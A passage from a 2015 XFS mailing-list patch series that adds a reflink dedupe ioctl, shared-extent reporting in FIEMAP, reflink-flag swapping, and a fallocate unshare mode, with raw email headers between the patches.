++++++++++++ fs/xfs/xfs_ioctl.c | 124 ++++++++++++++++++++++++++++++++++++++++++++++-- fs/xfs/xfs_ioctl32.c | 1 fs/xfs/xfs_reflink.c | 120 ++++++++++++++++++++++++++++++++++++++++++++++ fs/xfs/xfs_reflink.h | 6 ++ 5 files changed, 275 insertions(+), 6 deletions(-) diff --git a/fs/xfs/libxfs/xfs_fs.h b/fs/xfs/libxfs/xfs_fs.h index 2c8cd04..c63afd4 100644 --- a/fs/xfs/libxfs/xfs_fs.h +++ b/fs/xfs/libxfs/xfs_fs.h @@ -570,8 +570,38 @@ struct xfs_clone_args { __u64 dest_offset; }; +/* extent-same (dedupe) ioctls; these MUST match the btrfs ioctl definitions */ +#define XFS_EXTENT_DATA_SAME 0 +#define XFS_EXTENT_DATA_DIFFERS 1 + +/* from struct btrfs_ioctl_file_extent_same_info */ +struct xfs_extent_data_info { + __s64 fd; /* in - destination file */ + __u64 logical_offset; /* in - start of extent in destination */ + __u64 bytes_deduped; /* out - total # of bytes we were able + * to dedupe from this file */ + /* status of this dedupe operation: + * 0 if dedup succeeds + * < 0 for error + * == XFS_SAME_DATA_DIFFERS if data differs + */ + __s32 status; /* out - see above description */ + __u32 reserved; +}; + +/* from struct btrfs_ioctl_file_extent_same_args */ +struct xfs_extent_data { + __u64 logical_offset; /* in - start of extent in source */ + __u64 length; /* in - length of extent */ + __u16 dest_count; /* in - total elements in info array */ + __u16 reserved1; + __u32 reserved2; + struct xfs_extent_data_info info[0]; +}; + #define XFS_IOC_CLONE _IOW (0x94, 9, int) #define XFS_IOC_CLONE_RANGE _IOW (0x94, 13, struct xfs_clone_args) +#define XFS_IOC_FILE_EXTENT_SAME _IOWR(0x94, 54, struct xfs_extent_data) #ifndef HAVE_BBMACROS /* diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c index ce4812e..50ea19e 100644 --- a/fs/xfs/xfs_ioctl.c +++ b/fs/xfs/xfs_ioctl.c @@ -1541,7 +1541,8 @@ xfs_ioctl_reflink( loff_t pos_in, struct file *file_out, loff_t pos_out, - size_t len) + size_t len, + bool is_dedupe) { struct inode *inode_in; struct inode *inode_out; @@ -1550,6 +1551,7 @@ xfs_ioctl_reflink( loff_t isize; int same_inode; loff_t blen; + unsigned int flags; if (len == 0) return 0; @@ -1629,8 +1631,12 @@ xfs_ioctl_reflink( if (ret) goto out_unlock; + flags = 0; + if (is_dedupe) + flags |= XFS_REFLINK_DEDUPE; + ret = xfs_reflink(XFS_I(inode_in), pos_in, XFS_I(inode_out), - pos_out, len); + pos_out, len, flags); if (ret < 0) goto out_unlock; @@ -1652,6 +1658,112 @@ out_unlock: return ret; } +#define XFS_MAX_DEDUPE_LEN (16 * 1024 * 1024) + +static long +xfs_ioctl_file_extent_same( + struct file *file, + struct xfs_extent_data __user *argp) +{ + struct xfs_extent_data *same; + struct xfs_extent_data_info *info; + struct inode *src; + u64 off; + u64 len; + int i; + int ret; + unsigned long size; + bool is_admin; + u16 count; + + is_admin = capable(CAP_SYS_ADMIN); + src = file_inode(file); + if (!(file->f_mode & FMODE_READ)) + return -EINVAL; + + if (get_user(count, &argp->dest_count)) { + ret = -EFAULT; + goto out; + } + + size = offsetof(struct xfs_extent_data __user, + info[count]); + + same = memdup_user(argp, size); + + if (IS_ERR(same)) { + ret = PTR_ERR(same); + goto out; + } + + off = same->logical_offset; + len = same->length; + + /* + * Limit the total length we will dedupe for each operation. + * This is intended to bound the total time spent in this + * ioctl to something sane. + */ + if (len > XFS_MAX_DEDUPE_LEN) + len = XFS_MAX_DEDUPE_LEN; + + ret = -EISDIR; + if (S_ISDIR(src->i_mode)) + goto out; + + ret = -EACCES; + if (!S_ISREG(src->i_mode)) + goto out; + + /* pre-format output fields to sane values */ + for (i = 0; i < count; i++) { + same->info[i].bytes_deduped = 0ULL; + same->info[i].status = 0; + } + + for (i = 0, info = same->info; i < count; i++, info++) { + struct inode *dst; + struct fd dst_file = fdget(info->fd); + + if (!dst_file.file) { + info->status = -EBADF; + continue; + } + dst = file_inode(dst_file.file); + + trace_xfs_ioctl_file_extent_same(file_inode(file), off, len, + dst, info->logical_offset); + + info->bytes_deduped = 0; + if (!(is_admin || (dst_file.file->f_mode & FMODE_WRITE))) { + info->status = -EINVAL; + } else if (file->f_path.mnt != dst_file.file->f_path.mnt) { + info->status = -EXDEV; + } else if (S_ISDIR(dst->i_mode)) { + info->status = -EISDIR; + } else if (!S_ISREG(dst->i_mode)) { + info->status = -EACCES; + } else { + info->status = xfs_ioctl_reflink(file, off, + dst_file.file, + info->logical_offset, + len, true); + if (info->status == -EBADE) + info->status = XFS_EXTENT_DATA_DIFFERS; + else if (info->status == 0) + info->bytes_deduped = len; + } + fdput(dst_file); + } + + ret = copy_to_user(argp, same, size); + if (ret) + ret = -EFAULT; + +out: + return ret; +} + /* * Note: some of the ioctl's return positive numbers as a * byte count indicating success, such as readlink_by_handle. @@ -1959,7 +2071,7 @@ xfs_file_ioctl( trace_xfs_ioctl_clone(file_inode(src.file), file_inode(filp)); - error = xfs_ioctl_reflink(src.file, 0, filp, 0, ~0ULL); + error = xfs_ioctl_reflink(src.file, 0, filp, 0, ~0ULL, false); fdput(src); if (error > 0) error = 0; @@ -1984,7 +2096,8 @@ xfs_file_ioctl( file_inode(filp), args.dest_offset); error = xfs_ioctl_reflink(src.file, args.src_offset, filp, - args.dest_offset, args.src_length); + args.dest_offset, args.src_length, + false); fdput(src); if (error > 0) error = 0; @@ -1992,6 +2105,9 @@ xfs_file_ioctl( return error; } + case XFS_IOC_FILE_EXTENT_SAME: + return xfs_ioctl_file_extent_same(filp, arg); + default: return -ENOTTY; } diff --git a/fs/xfs/xfs_ioctl32.c b/fs/xfs/xfs_ioctl32.c index 76d8729..575c292 100644 --- a/fs/xfs/xfs_ioctl32.c +++ b/fs/xfs/xfs_ioctl32.c @@ -560,6 +560,7 @@ xfs_file_compat_ioctl( case XFS_IOC_ERROR_CLEARALL: case XFS_IOC_CLONE: case XFS_IOC_CLONE_RANGE: + case XFS_IOC_FILE_EXTENT_SAME: return xfs_file_ioctl(filp, cmd, p); #ifndef BROKEN_X86_ALIGNMENT /* These are handled fine if no alignment issues */ diff --git a/fs/xfs/xfs_reflink.c b/fs/xfs/xfs_reflink.c index ac81b02..dee3556 100644 --- a/fs/xfs/xfs_reflink.c +++ b/fs/xfs/xfs_reflink.c @@ -1386,6 +1386,103 @@ advloop: } #undef IMAPNEXT +/* + * Read a page's worth of file data into the page cache. + */ +STATIC struct page * +xfs_get_page( + struct inode *inode, /* inode */ + xfs_off_t offset) /* where in the inode to read */ +{ + struct address_space *mapping; + struct page *page; + pgoff_t n; + + n = offset >> PAGE_CACHE_SHIFT; + mapping = inode->i_mapping; + page = read_mapping_page(mapping, n, NULL); + if (IS_ERR(page)) + return page; + if (!PageUptodate(page)) { + page_cache_release(page); + return NULL; + } + return page; +} + +/* + * Compare extents of two files to see if they are the same. + */ +STATIC int +xfs_compare_extents( + struct inode *src, /* first inode */ + xfs_off_t srcoff, /* offset of first inode */ + struct inode *dest, /* second inode */ + xfs_off_t destoff, /* offset of second inode */ + xfs_off_t len, /* length of data to compare */ + bool *is_same) /* out: true if the contents match */ +{ + xfs_off_t src_poff; + xfs_off_t dest_poff; + void *src_addr; + void *dest_addr; + struct page *src_page; + struct page *dest_page; + xfs_off_t cmp_len; + bool same; + int error; + + error = -EINVAL; + same = true; + while (len) { + src_poff = srcoff & (PAGE_CACHE_SIZE - 1); + dest_poff = destoff & (PAGE_CACHE_SIZE - 1); + cmp_len = min(PAGE_CACHE_SIZE - src_poff, + PAGE_CACHE_SIZE - dest_poff); + cmp_len = min(cmp_len, len); + ASSERT(cmp_len > 0); + + trace_xfs_reflink_compare_extents(XFS_I(src), srcoff, cmp_len, + XFS_I(dest), destoff); + + src_page = xfs_get_page(src, srcoff); + if (!src_page) + goto out_error; + dest_page = xfs_get_page(dest, destoff); + if (!dest_page) { + page_cache_release(src_page); + goto out_error; + } + src_addr = kmap_atomic(src_page); + dest_addr = kmap_atomic(dest_page); + + flush_dcache_page(src_page); + flush_dcache_page(dest_page); + + if (memcmp(src_addr + src_poff, dest_addr + dest_poff, cmp_len)) + same = false; + + kunmap_atomic(src_addr); + kunmap_atomic(dest_addr); + page_cache_release(src_page); + page_cache_release(dest_page); + + if (!same) + break; + + srcoff += cmp_len; + destoff += cmp_len; + len -= cmp_len; + } + + *is_same = same; + return 0; + +out_error: + trace_xfs_reflink_compare_extents_error(XFS_I(dest), error, _RET_IP_); + return error; +} + /** * xfs_reflink() - link a range of blocks from one inode to another * @@ -1394,6 +1491,7 @@ advloop: * @dest: Inode to clone to * @destoff: Offset within @inode to start clone * @len: Original length, passed by user, of range to clone + * @flags: Flags to modify reflink's behavior */ int xfs_reflink( @@ -1401,12 +1499,14 @@ xfs_reflink( xfs_off_t srcoff, struct xfs_inode *dest, xfs_off_t destoff, - xfs_off_t len) + xfs_off_t len, + unsigned int flags) { struct xfs_mount *mp = src->i_mount; xfs_fileoff_t sfsbno, dfsbno; xfs_filblks_t fsblen; int error; + bool is_same; if (!xfs_sb_version_hasreflink(&mp->m_sb)) return -EOPNOTSUPP; @@ -1418,6 +1518,9 @@ xfs_reflink( if (XFS_IS_REALTIME_INODE(src) || XFS_IS_REALTIME_INODE(dest)) return -EINVAL; + if (flags & ~XFS_REFLINK_ALL) + return -EINVAL; + trace_xfs_reflink_range(src, srcoff, len, dest, destoff); /* Lock both files against IO */ @@ -1429,6 +1532,21 @@ xfs_reflink( xfs_lock_two_inodes(src, dest, XFS_MMAPLOCK_EXCL); } + /* + * Check that the extents are the same. + */ + if (flags & XFS_REFLINK_DEDUPE) { + is_same = false; + error = xfs_compare_extents(VFS_I(src), srcoff, VFS_I(dest), + destoff, len, &is_same); + if (error) + goto out_error; + if (!is_same) { + error = -EBADE; + goto out_error; + } + } + error = set_inode_reflink_flag(src, dest); if (error) goto out_error; diff --git a/fs/xfs/xfs_reflink.h b/fs/xfs/xfs_reflink.h index b633824..c60a9bd 100644 --- a/fs/xfs/xfs_reflink.h +++ b/fs/xfs/xfs_reflink.h @@ -44,7 +44,11 @@ extern int xfs_reflink_finish_fork_buf(struct xfs_inode *ip, struct xfs_buf *bp, xfs_fileoff_t fileoff, struct xfs_trans *tp, int write_error, xfs_fsblock_t old_fsbno); +#define XFS_REFLINK_DEDUPE 1 /* only reflink if contents match */ +#define XFS_REFLINK_ALL (XFS_REFLINK_DEDUPE) + extern int xfs_reflink(struct xfs_inode *src, xfs_off_t srcoff, - struct xfs_inode *dest, xfs_off_t destoff, xfs_off_t len); + struct xfs_inode *dest, xfs_off_t destoff, xfs_off_t len, + unsigned int flags); #endif /* __XFS_REFLINK_H */ From darrick.wong@oracle.com Wed Oct 7 00:01:05 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 3EC347FAA for ; Wed, 7 Oct 2015 00:01:05 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 2F6C08F8037 for ; Tue, 6 Oct 2015 22:01:02 -0700 (PDT) X-ASG-Debug-ID: 1444194060-04cb6c578b0d670001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id mkdgC4VUh0JDiJsG (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:01:00 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from userv0021.oracle.com (userv0021.oracle.com [156.151.31.71]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t9750xAF014569 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:00:59 GMT Received: from userv0122.oracle.com (userv0122.oracle.com [156.151.31.75]) by userv0021.oracle.com (8.13.8/8.13.8) with ESMTP id t9750xvl004983 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:00:59 GMT Received: from abhmp0008.oracle.com (abhmp0008.oracle.com [141.146.116.14]) by userv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t9750xHs022599; Wed, 7 Oct 2015 05:00:59 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:00:58 -0700 Subject: [PATCH 53/58] xfs: teach fiemap about reflink'd extents From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 53/58] xfs: teach fiemap about reflink'd extents To: david@fromorbit.com, darrick.wong@oracle.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:00:57 -0700 Message-ID: <20151007050057.30457.84616.stgit@birch.djwong.org> In-Reply-To: <20151007045443.30457.47038.stgit@birch.djwong.org> References: <20151007045443.30457.47038.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: userv0021.oracle.com [156.151.31.71] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1444194060 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Teach FIEMAP to report shared (i.e. reflinked) extents. Signed-off-by: Darrick J. Wong --- fs/xfs/xfs_bmap_util.c | 2 +- fs/xfs/xfs_bmap_util.h | 3 ++ fs/xfs/xfs_ioctl.c | 12 ++++++++- fs/xfs/xfs_iops.c | 62 +++++++++++++++++++++++++++++++++++++++--------- 4 files changed, 63 insertions(+), 16 deletions(-) diff --git a/fs/xfs/xfs_bmap_util.c b/fs/xfs/xfs_bmap_util.c index b20d136..f161db1 100644 --- a/fs/xfs/xfs_bmap_util.c +++ b/fs/xfs/xfs_bmap_util.c @@ -698,7 +698,7 @@ xfs_getbmap( int full = 0; /* user array is full */ /* format results & advance arg */ - error = formatter(&arg, &out[i], &full); + error = formatter(ip, &arg, &out[i], &full); if (error || full) break; } diff --git a/fs/xfs/xfs_bmap_util.h b/fs/xfs/xfs_bmap_util.h index af97d9a..d0dc504 100644 --- a/fs/xfs/xfs_bmap_util.h +++ b/fs/xfs/xfs_bmap_util.h @@ -37,7 +37,8 @@ int xfs_bmap_punch_delalloc_range(struct xfs_inode *ip, xfs_fileoff_t start_fsb, xfs_fileoff_t length); /* bmap to userspace formatter - copy to user & advance pointer */ -typedef int (*xfs_bmap_format_t)(void **, struct getbmapx *, int *); +typedef int (*xfs_bmap_format_t)(struct xfs_inode *, void **, struct getbmapx *, + int *); int xfs_getbmap(struct xfs_inode *ip, struct getbmapx *bmv, xfs_bmap_format_t formatter, void *arg); diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c index 50ea19e..92aaca0 100644 --- a/fs/xfs/xfs_ioctl.c +++ b/fs/xfs/xfs_ioctl.c @@ -1352,7 +1352,11 @@ out_drop_write: } STATIC int -xfs_getbmap_format(void **ap, struct getbmapx *bmv, int *full) +xfs_getbmap_format( + struct xfs_inode *ip, + void **ap, + struct getbmapx *bmv, + int *full) { struct getbmap __user *base = (struct getbmap __user *)*ap; @@ -1396,7 +1400,11 @@ xfs_ioc_getbmap( } STATIC int -xfs_getbmapx_format(void **ap, struct getbmapx *bmv, int *full) +xfs_getbmapx_format( + struct xfs_inode *ip, + void **ap, + struct getbmapx *bmv, + int *full) { struct getbmapx __user *base = (struct getbmapx __user *)*ap; diff --git a/fs/xfs/xfs_iops.c b/fs/xfs/xfs_iops.c index 8294132..5eeed1b 100644 --- a/fs/xfs/xfs_iops.c +++ b/fs/xfs/xfs_iops.c @@ -38,6 +38,8 @@ #include "xfs_dir2.h" #include "xfs_trans_space.h" #include "xfs_pnfs.h" +#include "xfs_bit.h" +#include "xfs_reflink.h" #include #include @@ -1014,14 +1016,21 @@ xfs_vn_update_time( */ STATIC int xfs_fiemap_format( + struct xfs_inode *ip, void **arg, struct getbmapx *bmv, int *full) { - int error; + int error = 0; struct fiemap_extent_info *fieinfo = *arg; u32 fiemap_flags = 0; - u64 logical, physical, length; + u64 logical, physical, length, loop_len, len; + xfs_extlen_t elen; + xfs_nlink_t nr; + xfs_fsblock_t fsbno; + xfs_agnumber_t agno; + xfs_agblock_t agbno; + struct xfs_mount *mp = ip->i_mount; /* Do nothing for a hole */ if (bmv->bmv_block == -1LL) @@ -1029,7 +1038,7 @@ xfs_fiemap_format( logical = BBTOB(bmv->bmv_offset); physical = BBTOB(bmv->bmv_block); - length = BBTOB(bmv->bmv_length); + length = loop_len = BBTOB(bmv->bmv_length); if (bmv->bmv_oflags & BMV_OF_PREALLOC) fiemap_flags |= FIEMAP_EXTENT_UNWRITTEN; @@ -1038,16 +1047,45 @@ xfs_fiemap_format( FIEMAP_EXTENT_UNKNOWN); physical = 0; /* no block yet */ } - if (bmv->bmv_oflags & BMV_OF_LAST) - fiemap_flags |= FIEMAP_EXTENT_LAST; - - error = fiemap_fill_next_extent(fieinfo, logical, physical, - length, fiemap_flags); - if (error > 0) { - error = 0; - *full = 1; /* user array now full */ - } + while (loop_len > 0) { + u32 ext_flags = 0; + + if (bmv->bmv_oflags & BMV_OF_DELALLOC) { + physical = 0; + len = loop_len; + nr = 1; + } else if (xfs_is_reflink_inode(ip)) { + fsbno = XFS_DADDR_TO_FSB(mp, BTOBB(physical)); + agno = XFS_FSB_TO_AGNO(mp, fsbno); + agbno = XFS_FSB_TO_AGBNO(mp, fsbno); + error = xfs_reflink_get_refcount(mp, agno, agbno, + &elen, &nr); + if (error) + goto out; + len = XFS_FSB_TO_B(mp, elen); + if (len == 0 || len > loop_len) + len = loop_len; + if (nr >= 2) + ext_flags |= FIEMAP_EXTENT_SHARED; + } else + len = loop_len; + if ((bmv->bmv_oflags & BMV_OF_LAST) && + len == loop_len) + ext_flags |= FIEMAP_EXTENT_LAST; + + error = fiemap_fill_next_extent(fieinfo, logical, physical, + len, fiemap_flags | ext_flags); + if (error > 0) { + error = 0; + *full = 1; /* user array now full */ + goto out; + } + logical += len; + physical += len; + loop_len -= len; + } +out: return error; } From darrick.wong@oracle.com Wed Oct 7 00:01:15 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id EB7BB7FB6 for ; Wed, 7 Oct 2015 00:01:15 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id CD404304032 for ; Tue, 6 Oct 2015 22:01:12 -0700 (PDT) X-ASG-Debug-ID: 1444194071-04cbb03f150d7b0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id 6iVmaYf9auBVbe5K (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:01:11 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from userv0022.oracle.com (userv0022.oracle.com [156.151.31.74]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t97516Ys010200 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:01:06 GMT Received: from aserv0122.oracle.com (aserv0122.oracle.com [141.146.126.236]) by userv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t97515bT016560 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:01:06 GMT Received: from abhmp0011.oracle.com (abhmp0011.oracle.com [141.146.116.17]) by aserv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t97515rX007622; Wed, 7 Oct 2015 05:01:05 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:01:05 -0700 Subject: [PATCH 54/58] xfs: swap inode reflink flags when swapping inode extents From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 54/58] xfs: swap inode reflink flags when swapping inode extents To: david@fromorbit.com, darrick.wong@oracle.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:01:04 -0700 Message-ID: <20151007050104.30457.29336.stgit@birch.djwong.org> In-Reply-To: <20151007045443.30457.47038.stgit@birch.djwong.org> References: <20151007045443.30457.47038.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: userv0022.oracle.com [156.151.31.74] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1444194071 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines When we're swapping the extents of two inodes, be sure to swap the reflink inode flag too. Signed-off-by: Darrick J. Wong --- fs/xfs/xfs_bmap_util.c | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/fs/xfs/xfs_bmap_util.c b/fs/xfs/xfs_bmap_util.c index f161db1..6d7bd6a 100644 --- a/fs/xfs/xfs_bmap_util.c +++ b/fs/xfs/xfs_bmap_util.c @@ -1948,6 +1948,18 @@ xfs_swap_extents( break; } + /* Do we have to swap reflink flags? */ + if ((ip->i_d.di_flags2 & XFS_DIFLAG2_REFLINK) ^ + (tip->i_d.di_flags2 & XFS_DIFLAG2_REFLINK)) { + __uint64_t f; + + f = ip->i_d.di_flags2 & XFS_DIFLAG2_REFLINK; + ip->i_d.di_flags2 &= ~XFS_DIFLAG2_REFLINK; + ip->i_d.di_flags2 |= tip->i_d.di_flags2 & XFS_DIFLAG2_REFLINK; + tip->i_d.di_flags2 &= ~XFS_DIFLAG2_REFLINK; + tip->i_d.di_flags2 |= f & XFS_DIFLAG2_REFLINK; + } + xfs_trans_log_inode(tp, ip, src_log_flags); xfs_trans_log_inode(tp, tip, target_log_flags); From darrick.wong@oracle.com Wed Oct 7 00:01:19 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id CEC7329E4D for ; Wed, 7 Oct 2015 00:01:18 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 511A8AC006 for ; Tue, 6 Oct 2015 22:01:15 -0700 (PDT) X-ASG-Debug-ID: 1444194073-04cbb03f150d7c0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id cDh1D75j0MvCTHDc (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:01:14 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from userv0022.oracle.com (userv0022.oracle.com [156.151.31.74]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t9751COg015188 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:01:13 GMT Received: from userv0121.oracle.com (userv0121.oracle.com [156.151.31.72]) by userv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t9751Ckf017036 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:01:12 GMT Received: from abhmp0014.oracle.com (abhmp0014.oracle.com [141.146.116.20]) by userv0121.oracle.com (8.13.8/8.13.8) with ESMTP id t9751Cqs020229; Wed, 7 Oct 2015 05:01:12 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:01:12 -0700 Subject: [PATCH 55/58] vfs: add a FALLOC_FL_UNSHARE mode to fallocate to unshare a range of blocks From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 55/58] vfs: add a FALLOC_FL_UNSHARE mode to fallocate to unshare a range of blocks To: david@fromorbit.com, darrick.wong@oracle.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:01:10 -0700 Message-ID: <20151007050110.30457.66869.stgit@birch.djwong.org> In-Reply-To: <20151007045443.30457.47038.stgit@birch.djwong.org> References: <20151007045443.30457.47038.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: userv0022.oracle.com [156.151.31.74] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1444194073 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Add a new mode to fallocate that unshares a range of blocks. Signed-off-by: Darrick J. Wong --- fs/open.c | 5 +++++ include/linux/falloc.h | 3 ++- include/uapi/linux/falloc.h | 14 ++++++++++++++ 3 files changed, 21 insertions(+), 1 deletion(-) diff --git a/fs/open.c b/fs/open.c index b6f1e96..58e2b61 100644 --- a/fs/open.c +++ b/fs/open.c @@ -256,6 +256,11 @@ int vfs_fallocate(struct file *file, int mode, loff_t offset, loff_t len) (mode & ~FALLOC_FL_INSERT_RANGE)) return -EINVAL; + /* Unshare range should only be used exclusively. */ + if ((mode & FALLOC_FL_UNSHARE_RANGE) && + (mode & ~FALLOC_FL_UNSHARE_RANGE)) + return -EINVAL; + if (!(file->f_mode & FMODE_WRITE)) return -EBADF; diff --git a/include/linux/falloc.h b/include/linux/falloc.h index 9961110..7494dc6 100644 --- a/include/linux/falloc.h +++ b/include/linux/falloc.h @@ -25,6 +25,7 @@ struct space_resv { FALLOC_FL_PUNCH_HOLE | \ FALLOC_FL_COLLAPSE_RANGE | \ FALLOC_FL_ZERO_RANGE | \ - FALLOC_FL_INSERT_RANGE) + FALLOC_FL_INSERT_RANGE | \ + FALLOC_FL_UNSHARE_RANGE) #endif /* _FALLOC_H_ */ diff --git a/include/uapi/linux/falloc.h b/include/uapi/linux/falloc.h index 3e445a7..a1c293b 100644 --- a/include/uapi/linux/falloc.h +++ b/include/uapi/linux/falloc.h @@ -58,4 +58,18 @@ */ #define FALLOC_FL_INSERT_RANGE 0x20 +/* + * FALLOC_FL_UNSHARE_RANGE is used to unshare shared blocks within the + * file size without overwriting any existing data. The purpose of this + * call is to preemptively reallocate any blocks that are subject to + * copy-on-write. + * + * Different filesystems may implement different limitations on the + * granularity of the operation. Most will limit operations to filesystem + * block size boundaries, but this boundary may be larger or smaller + * depending on the filesystem and/or the configuration of the filesystem + * or file. + */ +#define FALLOC_FL_UNSHARE_RANGE 